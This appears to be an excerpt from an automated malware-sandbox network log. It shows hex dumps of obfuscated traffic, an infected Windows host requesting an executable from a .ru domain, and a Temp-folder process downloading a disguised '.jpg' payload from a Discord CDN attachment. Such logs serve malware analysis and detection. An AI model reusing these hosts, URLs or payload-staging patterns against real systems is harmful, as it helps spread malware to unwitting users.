71 71 44 20 4f 20 70 45 20 4f 20 71 71 4f 20 4f 20 71 4f 71 20 4f 20 71 4f 71 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 
20 4f 20 71 71 70 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 71 4a 4f 20 4f 20 71 4f 57 20 4f 20 70 45 20 4f 20 71 71 6d 
20 4f 20 70 45 20 4f 20 71 4f 44 20 4f 20 71 4f 4d 20 4f 20 71 4a 4a 20 4f 20 71 4f 58 20 4f 20 71 4a 71 20 4f 20 71 71 45 
20 4f 20 71 4f 4a 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 44 
20 4f 20 70 45 20 4f 20 71 4f 45 20 4f 
Data Ascii:  O qqW O pE O qOD O qJq O qOp O MM O qOm O qqX O qqW O qqq O qqq O qOD O pE O qqD O pE O 
qqO O qOq O qOq O pE O ME O pE O qqp O qqD O qqO O qJO O qOW O pE O qqm O pE O qOD O qOM O qJJ O qOX 
O qJq O qqE O qOJ O qOW O qqq O qOq O qqW O pE O qqD O pE O qOE O

2021-10-29 15:55:26 UTC 1202 IN Data Raw: 20 71 71 4a 20 4f 20 71 71 70 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 4d 
20 4f 20 71 71 4f 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 71 4f 44 20 4f 20 71 71 45 20 4f 20 4d 58 20 4f 20 71 71 58 
20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 20 4f 20 71 4f 71 20 4f 20 71 4f 4a 20 4f 20 71 4a 71 20 
4f 20 71 71 70 20 4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 71 71 44 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 71 57 20 
4f 20 70 45 20 4f 20 71 71 44 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 71 4d 20 4f 
20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 71 4f 70 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 44 71 20 4f 20 70 45 20 4f 20 71 
71 44 20 4f 20 71 4f 44 20 4f 20 71 71 
Data Ascii:  qqJ O qqp O qqW O pE O ME O pE O qqM O qqO O qJJ O qqJ O qOD O qqE O MX O qqX O qOm O pE O 
qqm O pE O qOq O qOJ O qJq O qqp O qqm O ME O qqD O qqM O qOp O qqW O pE O qqD O pE O qqX O qOD O qqm 
O qqM O qOO O qOW O qOp O qJq O pE O Dq O pE O qqD O qOD O qq

Timestamp
kBytes
transferred Direction Data
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2021-10-29 15:55:26 UTC 1206 IN Data Raw: 20 71 71 6d 20 4f 20 71 4f 71 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 4f 4f 
20 4f 20 71 4a 71 20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 4d 4d 20 4f 20 4d 58 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 
4f 20 71 71 6d 20 4f 20 4d 45 20 4f 20 4d 45 20 4f 20 71 4a 71 20 4f 20 71 71 4a 20 4f 20 70 45 20 4f 20 71 4f 57 20 4f 20 
70 45 20 4f 20 71 4f 71 20 4f 20 4d 4d 20 4f 20 71 4f 4f 20 4f 20 71 4a 71 20 4f 20 71 4f 57 20 4f 20 71 71 4f 20 4f 20 71 71
58 20 4f 20 71 71 4f 20 4f 20 4d 45 20 4f 20 70 45 20 4f 20 71 71 57 20 4f 20 70 45 20 4f 20 71 71 58 20 4f 20 71 71 44 20 
4f 20 71 4f 57 20 4f 20 4d 58 20 4f 20 4d 58 20 4f 20 71 4f 44 20 4f 20 71 71 6d 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 
20 71 71 70 20 4f 20 70 45 20 4f 
Data Ascii:  qqm O qOq O qOm O pE O qOO O pE O qOO O qJq O qqX O qOJ O MM O MX O qJJ O qqJ O qqm O ME O 
ME O qJq O qqJ O pE O qOW O pE O qOq O MM O qOO O qJq O qOW O qqO O qqX O qqO O ME O pE O qqW O pE 
O qqX O qqD O qOW O MX O MX O qOD O qqm O qOX O qqE O qqp O pE O

2021-10-29 15:55:26 UTC 1210 IN Data Raw: 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 71 71 4a 20 4f 20 71 71 71 20 4f 20 4d 58 20 4f 20 71 4a 4f 20 4f 20 
71 4f 71 20 4f 20 70 45 20 4f 20 44 71 20 4f 20 70 45 20 4f 20 71 4a 71 20 4f 20 71 71 58 20 4f 20 71 4a 71 20 4f 20 71 4f 
6d 20 4f 20 71 4f 44 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 71 
71 4d 20 4f 20 71 4a 71 20 4f 20 70 45 20 4f 20 70 4a 20 4f 20 70 45 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 71 71 4f 
20 4f 20 71 71 71 20 4f 20 70 45 20 4f 20 71 4f 4f 20 4f 20 70 45 20 4f 20 71 71 45 20 4f 20 71 71 4d 20 4f 20 71 4f 57 20 
4f 20 71 71 44 20 4f 20 71 4f 71 20 4f 20 71 4f 58 20 4f 20 71 71 44 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 71 4f 57 20 4
f 20 70 45 20 4f 20 71 4f 57 20 4f 
Data Ascii:  O qOO O qOW O qqJ O qqq O MX O qJO O qOq O pE O Dq O pE O qJq O qqX O qJq O qOm O qOD O 
qOp O qqM O qOp O qqD O qqO O qqM O qJq O pE O pJ O pE O qOM O qOE O qqO O qqq O pE O qOO O pE O qqE 
O qqM O qOW O qqD O qOq O qOX O qqD O qOm O pE O qOW O pE O qOW O

2021-10-29 15:55:26 UTC 1215 IN Data Raw: 71 4f 45 20 4f 20 71 71 4d 20 4f 20 71 71 58 20 4f 20 71 4f 45 20 4f 20 70 45 20 4f 20 71 71 6d 20 4f 20 70 45 
20 4f 20 71 4a 4a 20 4f 20 71 4f 70 20 4f 20 71 71 4f 20 4f 20 4d 58 20 4f 20 71 4f 4a 20 4f 20 71 71 44 20 4f 20 71 71 45 
20 4f 20 71 4f 45 20 4f 20 71 4f 4a 20 4f 20 71 4f 71 20 4f 20 71 4f 4d 20 4f 20 71 71 70 20 4f 20 70 45 20 4f 20 70 6d 20 4f
20 70 45 20 4f 20 4d 58 20 4f 20 71 71 4a 20 4f 20 71 71 70 20 4f 20 71 4f 4a 20 4f 20 70 45 20 4f 20 71 70 20 4f 20 71 4f 
20 4f 20 70 45 20 4f 20 71 71 4d 20 4f 20 71 4a 4a 20 4f 20 71 4f 6d 20 4f 20 70 45 20 4f 20 58 4a 20 4f 20 70 45 20 4f 20 
71 71 6d 20 4f 20 71 4f 4f 20 4f 20 71 71 58 20 4f 20 4d 45 20 4f 20 71 4f 4f 20 4f 20 71 71 4f 20 4f 20 71 4f 57 20 4f 20 70 
45 20 4f 20 44 58 20 4f 20 70 45 
Data Ascii: qOE O qqM O qqX O qOE O pE O qqm O pE O qJJ O qOp O qqO O MX O qOJ O qqD O qqE O qOE O qOJ 
O qOq O qOM O qqp O pE O pm O pE O MX O qqJ O qqp O qOJ O pE O qp O qO O pE O qqM O qJJ O qOm O pE O 
XJ O pE O qqm O qOO O qqX O ME O qOO O qqO O qOW O pE O DX O pE

2021-10-29 15:55:26 UTC 1226 IN Data Raw: 20 4f 20 45 70 20 4f 20 44 45 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 4d 4a 20 4f 
20 58 70 20 4f 20 4d 4d 20 4f 20 71 71 57 20 4f 20 71 4f 57 20 4f 20 4d 4a 20 4f 20 58 70 20 4f 20 4d 4d 20 4f 20 71 71 57 
20 4f 20 71 4f 57 20 4f 20 70 4a 20 4f 20 58 4f 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 71 71 44 20 4f 20 70 4a 20 4f 
20 6d 58 20 4f 20 4d 4a 20 4f 20 58 70 20 4f 20 4d 4d 20 4f 20 71 71 57 20 4f 20 71 4f 57 20 4f 20 70 4a 20 4f 20 44 44 20 
4f 20 71 71 45 20 4f 20 71 71 57 20 4f 20 70 4a 20 4f 20 6d 58 20 4f 20 4d 4a 20 4f 20 58 6d 20 4f 20 4d 45 20 4f 20 71 71 
6d 20 4f 20 71 4f 70 20 4f 20 71 4f 71 20 4f 20 71 71 44 20 4f 20 70 4a 20 4f 20 45 70 20 4f 20 71 4f 4f 20 4f 20 70 4a 20 4f
20 6d 58 20 4f 20 4d 4a 20 4f 20 45 
Data Ascii:  O Ep O DE O DM O EE O DW O XO O MJ O Xp O MM O qqW O qOW O MJ O Xp O MM O qqW O qOW O p
J O XO O qqq O qqm O qqD O pJ O mX O MJ O Xp O MM O qqW O qOW O pJ O DD O qqE O qqW O pJ O mX O MJ O 
Xm O ME O qqm O qOp O qOq O qqD O pJ O Ep O qOO O pJ O mX O MJ O E

2021-10-29 15:55:26 UTC 1231 IN Data Raw: 58 20 4f 20 71 4f 71 20 4f 20 71 71 57 20 4f 20 4d 4d 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 4a 20 
4f 20 71 71 44 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 71 71 4f 20 4f 20 4f 20 57 71 20 58 44 20 4f 20 45 45 20 4f 20 
70 4a 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 4f 4f 20 4f 20 71 4f 57 20 4f 20 71 71 44 20 4f 20 71 4f 57 20 4f 20 71 71 
71 20 4f 20 71 71 4f 20 4f 20 71 71 57 20 4f 20 70 4a 20 4f 20 58 70 20 4f 20 57 71 20 4f 20 70 4a 20 4f 20 58 6d 20 4f 20 
71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 57 71 20 4f 20 57 4f 20 4f 20 6d 45 20 4f 20 57 6d 20 4f 20 57 4a 20 
4f 20 4f 20 4a 57 20 58 70 20 4f 20 57 71 20 4f 20 70 4a 20 4f 20 58 6d 20 4f 20 71 71 6d 20 4f 20 71 4f 57 20 4f 20 71 71 
71 20 4f 20 57 71 20 4f 20 57 4f 20 
Data Ascii: X O qOq O qqW O MM O qqm O qOW O qqJ O qqD O qOW O qqq O qqO O O Wq XD O EE O pJ O DW O 
qOO O qOO O qOW O qqD O qOW O qqq O qqO O qqW O pJ O Xp O Wq O pJ O Xm O qqm O qOW O qqq O Wq O 
WO O mE O Wm O WJ O O JW Xp O Wq O pJ O Xm O qqm O qOW O qqq O Wq O WO 

2021-10-29 15:55:26 UTC 1247 IN Data Raw: 70 70 20 57 20 70 4a 20 4f 20 71 45 20 71 4a 4d 20 71 70 45 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 4a 
6d 57 20 57 20 70 4a 20 71 20 4a 58 20 4a 4d 20 4a 58 20 58 20 4f 20 70 20 71 20 4a 58 20 71 58 20 4a 71 20 71 58 20 
70 45 20 6d 20 70 4a 20 4f 20 71 58 20 57 70 20 4d 20 70 4a 20 4f 20 4a 71 20 71 58 20 6d 71 20 71 20 71 58 20 71 4a 
4d 20 4a 6d 4d 20 45 20 4a 71 20 71 58 20 6d 71 20 71 20 71 58 20 71 4a 4d 20 4a 6d 4d 20 57 20 70 4a 20 71 20 71 4d 
20 4f 20 58 20 57 20 70 4a 20 4f 20 71 58 20 71 4a 4d 20 4a 57 70 20 58 20 4f 20 71 20 71 58 20 71 4a 58 20 71 4a 4d 20 
71 58 20 71 4a 58 20 71 4a 4d 20 57 20 4f 20 71 20 4a 58 20 71 58 20 6d 4d 20 58 20 4f 20 70 20 71 20 71 58 20 4a 71 
20 4a 58 20 71 58 20 6d 4d 20 70 20 70 4a 20 4f 20 58 20 57 20 70 4a 
Data Ascii: pp W pJ O qE qJM qpE W pJ O qX qJM JmW W pJ q JX JM JX X O p q JX qX Jq qX pE m pJ O qX Wp M pJ O 
Jq qX mq q qX qJM JmM E Jq qX mq q qX qJM JmM W pJ q qM O X W pJ O qX qJM JWp X O q qX qJX qJM qX qJX qJM 
W O q JX qX mM X O p q qX Jq JX qX mM p pJ O X W pJ

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.6 49815 81.177.141.36 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

2021-10-29 15:55:28 UTC 1254 OUT GET /263873486.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: iyc.jelikob.ru

2021-10-29 15:55:28 UTC 1254 IN HTTP/1.1 403 Forbidden
Date: Fri, 29 Oct 2021 15:55:28 GMT
Content-Type: text/html
Content-Length: 797
Connection: close
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2021-10-29 15:55:28 UTC 1254 IN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 70 61 67 65 3d 22 66 72 61 75 
64 22 20 64 61 74 61 2d 76 65 72 73 69 6f 6e 3d 22 31 2e 31 31 2e 32 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 
74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 
6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 
41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 3c 74 69 74 6c 65 3e d0 
a4 d0 b8 d1 88 d0 b8 d0 bd d0 b3 d0 be d0 b2 d1 8b d0 b9 20 d1 81 d0 b0 d0 b9 d1 82 20 d0 b7 d0 b0 d0 b1 d0 bb d0 be 
d0 ba d0 b8 d1 80 d0 be d0 b2 d0 b0 d0 bd 3c 2f 74 69 74 6c 65 3e 
Data Ascii: <!DOCTYPE html><html data-page="fraud" data-version="1.11.2"><head><meta http-equiv="content-type" 
content="text/html;charset=utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>  </title>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.6 49814 162.159.135.233 443 C:\Users\user\AppData\Local\Temp\37D8.exe

Timestamp
kBytes
transferred Direction Data

2021-10-29 15:55:28 UTC 1255 OUT GET /attachments/893177342426509335/903333369742491648/1E88D378.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

2021-10-29 15:55:28 UTC 1255 IN HTTP/1.1 200 OK
Date: Fri, 29 Oct 2021 15:55:28 GMT
Content-Type: image/jpeg
Content-Length: 396853
Connection: close
CF-Ray: 6a5d969ffdad2c2a-FRA
Accept-Ranges: bytes
Age: 79193
Cache-Control: public, max-age=31536000
ETag: "9f10fbc5d30ca119af4f9f1c1ff1eb60"
Expires: Sat, 29 Oct 2022 15:55:28 GMT
Last-Modified: Thu, 28 Oct 2021 17:24:18 GMT
Vary: Accept-Encoding
CF-Cache-Status: HIT
Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
x-goog-generation: 1635441858509476
x-goog-hash: crc32c=tZ9RsQ==
x-goog-hash: md5=nxD7xdMMoRmvT58cH/HrYA==
x-goog-metageneration: 1
x-goog-storage-class: STANDARD
x-goog-stored-content-encoding: identity
x-goog-stored-content-length: 396853
X-GUploader-UploadID: ADPycdv_exDd0YjZWPamre1oLYm1pelNgMCJxOtS1umaL_LlSi5vu5DvuxJ3Nk7VbkHS
DtwLRDhsHgLUT-fTrgHcHGQ
X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=B7Aq7ZIFmPB2q3YFTo8117y1U46Yyj4H
E%2BJfhF10nbfWmzAMkl3NE1RGHblh8JxuM1gu0Q%2BdDvLZ7%2ByNMXVxFpxnlRzFC2o8gwNi6SDSpEL3lxqKH5Pm
nqNARS1bavSNUj%2BzUQ%3D%3D"}],"group":"cf-nel","max_age":604800}

2021-10-29 15:55:28 UTC 1256 IN Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 
22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 
6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a 
Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

2021-10-29 15:55:28 UTC 1256 IN Data Raw: 6b 50 73 4c 4f 57 42 6c 7a 55 2d 6c 6c 20 55 6b 20 50 4f 4f 20 6b 20 4c 20 6b 20 6b 20 6b 20 4f 20 6b 20 6b 20 
6b 20 73 57 57 20 73 57 57 20 6b 20 6b 20 50 7a 4f 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 42 4f 20 6b 20 6b 20 
6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 
20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 50 73 7a 20 6b 20 6b 20 6b 20 50 4f 
20 4c 50 20 50 7a 42 20 50 4f 20 6b 20 50 7a 6b 20 55 20 73 6b 57 20 4c 4c 20 50 7a 4f 20 50 20 6c 42 20 73 6b 57 20 4c 
4c 20 7a 4f 20 50 6b 4f 20 50 6b 57 20 50 50 57 20 4c 73 20 50 50 73 20 50 50 4f 20 50 50 50 20 50 6b 4c 20 50 50 4f 20 
55 6c 20 50 6b 55 20 4c 73 20 55 55 20 55 6c 20 50 50 6b 20 50 
Data Ascii: kPsLOWBlzU-ll Uk POO k L k k k O k k k sWW sWW k k PzO k k k k k k k BO k k k k k k k k k k k k k k k k k k k 
k k k k k k k k k k k k k k k k Psz k k k PO LP PzB PO k Pzk U skW LL PzO P lB skW LL zO PkO PkW PPW Ls PPs PPO 
PPP PkL PPO Ul PkU Ls UU Ul PPk P

2021-10-29 15:55:28 UTC 1257 IN Data Raw: 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 
20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 6b 20 73 57 
20 4f 6b 20 73 73 55 20 50 6b 55 20 50 50 57 20 57 6b 20 4f 7a 20 57 6b 20 57 6b 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 
4f 42 20 50 4f 4c 20 57 6b 20 4f 7a 20 50 4c 7a 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 
6b 20 50 50 73 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 
57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 
50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 
Data Ascii: k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k k sW Ok ssU PkU PPW Wk Oz Wk Wk zO PPO 
PPl POB POL Wk Oz PLz WO zO PPO PPl PkU PPs Wk PPs Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl 
PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk

2021-10-29 15:55:28 UTC 1259 IN Data Raw: 55 20 50 50 73 20 57 6b 20 50 57 73 20 50 7a 4c 20 57 57 20 7a 4f 20 50 50 4f 20 7a 57 20 50 6b 55 20 50 50 
73 20 57 6b 20 50 7a 4f 20 57 50 20 57 4f 20 7a 4f 20 50 50 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 
57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 50 7a 20 57 4f 20 7a 4f 20 
50 7a 20 55 50 20 4c 50 20 4c 20 42 4f 20 7a 4c 20 57 6b 20 57 4f 20 7a 4f 20 50 6c 7a 20 50 50 7a 20 50 6b 55 20 50 50 
73 20 57 6b 20 73 4f 6b 20 57 50 20 57 4f 20 7a 4f 20 50 50 7a 20 50 50 6c 20 50 6b 55 20 50 50 73 20 50 55 
Data Ascii: U PPs Wk PWs PzL WW zO PPO zW PkU PPs Wk PzO WP WO zO PPz PPl PkU PPs Wk Oz Wk WO zO 
PPO PPl PkU PPs Wk Oz Pz WO zO Pz UP LP L BO zL Wk WO zO Plz PPz PkU PPs Wk sOk WP WO zO PPz PPl PkU 
PPs PU
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2021-10-29 15:55:28 UTC 1259 IN Data Raw: 6b 20 4f 55 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 
6b 20 57 4f 20 7a 4f 20 50 50 4f 20 57 4c 20 50 6b 55 20 50 50 73 20 50 50 4f 20 4c 6b 20 42 4f 20 7a 4c 20 57 42 20 73 
55 20 73 73 20 50 6b 55 20 50 50 73 20 42 73 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 4f 42 20 50 50 42 20 50 6b 55 20 
50 50 73 20 57 4f 20 4f 7a 20 57 6b 20 57 4f 20 50 55 42 20 50 50 57 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 
7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 50 73 20 57 6b 20 57 4f 20 
73 73 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 
6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 
Data Ascii: k OU Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO WL PkU PPs PPO Lk BO zL WB sU ss PkU PPs 
Bs Oz Wk WO zO POB PPB PkU PPs WO Oz Wk WO PUB PPW PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk 
PPs Wk WO ss PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk

2021-10-29 15:55:28 UTC 1260 IN Data Raw: 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 
7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 
6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 
20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 
20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 
4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 
20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 
Data Ascii: Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk 
Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk 
WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO z

2021-10-29 15:55:28 UTC 1262 IN Data Raw: 6c 20 50 50 4f 20 50 50 6c 20 73 55 20 73 20 57 4c 20 4f 55 20 57 6b 20 6c 6b 20 4f 73 20 50 6b 7a 20 50 50 
6c 20 50 6b 55 20 50 73 73 20 73 42 20 4f 6c 20 57 6b 20 57 4f 20 55 4f 20 73 6b 7a 20 55 4c 20 50 4c 4c 20 50 50 73 20 
57 6b 20 57 4f 20 55 4c 20 73 73 20 7a 4f 20 50 50 4f 20 50 73 6c 20 55 6c 20 6c 73 20 57 73 20 57 6b 20 57 6b 20 57 4f 
20 6c 6b 20 50 50 73 20 55 4c 20 6c 42 20 50 50 73 20 57 6b 20 57 7a 20 42 4c 20 42 55 20 50 73 7a 20 50 50 57 20 50 
50 6c 20 50 6b 6c 20 55 55 20 57 4f 20 42 6c 20 4c 6b 20 57 57 20 7a 4f 20 50 50 42 20 50 6b 73 20 50 6b 4f 20 55 6c 20 
57 4f 20 6c 7a 20 4f 4f 20 57 4f 20 7a 4f 20 50 73 6b 20 7a 20 50 57 50 20 50 50 73 20 57 6b 20 57 73 20 6c 42 20 4f 6b 
20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 42 20 50 50 7a 20 
Data Ascii: l PPO PPl sU s WL OU Wk lk Os Pkz PPl PkU Pss sB Ol Wk WO UO skz UL PLL PPs Wk WO UL ss zO PPO 
Psl Ul ls Ws Wk Wk WO lk PPs UL lB PPs Wk Wz BL BU Psz PPW PPl Pkl UU WO Bl Lk WW zO PPB Pks PkO Ul WO lz 
OO WO zO Psk z PWP PPs Wk Ws lB Ok zO PPO Psl PsB PPz 

2021-10-29 15:55:28 UTC 1263 IN Data Raw: 50 50 6c 20 50 6b 55 20 50 50 42 20 73 42 20 57 50 20 57 6b 20 57 4f 20 50 73 6c 20 73 55 20 55 57 20 50 6b 
7a 20 50 50 73 20 57 73 20 4c 4c 20 57 57 20 4c 55 20 7a 6b 20 50 4f 6b 20 50 50 57 20 50 7a 42 20 50 50 4c 20 57 6b 
20 57 4f 20 42 57 20 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 55 20 50 4f 4c 20 57 6b 20 4f 7a 20 57 4f 20 50 55 20 50 
73 50 20 50 6b 50 20 7a 4c 20 50 55 20 50 4c 55 20 57 6b 20 4f 7a 20 57 4f 20 73 6b 6b 20 7a 73 20 50 6c 73 20 50 50 42 
20 50 6b 55 20 50 50 7a 20 42 57 20 50 20 57 6b 20 57 4f 20 55 4f 20 7a 6c 20 73 4f 57 20 50 4f 42 20 50 50 73 20 57 6b 
20 57 73 20 73 42 20 57 6b 20 7a 4f 20 50 50 4f 20 55 4f 20 73 20 7a 42 20 57 50 20 4f 7a 20 57 73 20 4c 55 20 7a 50 20 
55 55 20 50 50 4c 20 50 4f 6c 20 50 50 7a 20 73 4c 4f 20 4f 
Data Ascii: PPl PkU PPB sB WP Wk WO Psl sU UW Pkz PPs Ws LL WW LU zk POk PPW PzB PPL Wk WO BW B zO P
PO Psl PU POL Wk Oz WO PU PsP PkP zL PU PLU Wk Oz WO skk zs Pls PPB PkU PPz BW P Wk WO UO zl sOW POB 
PPs Wk Ws sB Wk zO PPO UO s zB WP Oz Ws LU zP UU PPL POl PPz sLO O

2021-10-29 15:55:28 UTC 1264 IN Data Raw: 57 20 57 4f 20 7a 4f 20 50 73 6b 20 42 20 7a 57 20 50 50 73 20 57 6b 20 57 7a 20 55 4c 20 50 4c 57 20 7a 4f 
20 50 50 4f 20 50 50 57 20 6c 57 20 50 6b 73 20 4c 4c 20 57 4c 20 50 6b 20 73 4c 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 
4c 6b 20 57 55 20 57 50 20 4f 7a 20 57 73 20 4c 6c 20 7a 73 20 55 55 20 50 50 57 20 50 73 4f 20 50 50 42 20 4c 57 20 57 
4c 20 4c 42 20 7a 55 20 73 4f 55 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 50 20 55 20 4f 7a 20 57 6b 20 42 6b 20 57 55 
20 57 73 20 50 50 42 20 50 6b 55 20 50 50 7a 20 4c 57 20 57 4f 20 4c 57 20 57 6b 20 42 55 20 50 50 55 20 50 6b 7a 20 
73 20 73 73 50 20 57 6b 20 4f 7a 20 57 73 20 7a 55 20 50 50 50 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 50 20 50 73 73 
20 4f 55 20 57 6b 20 4f 7a 20 42 55 20 50 50 42 20 50 6b 6b 
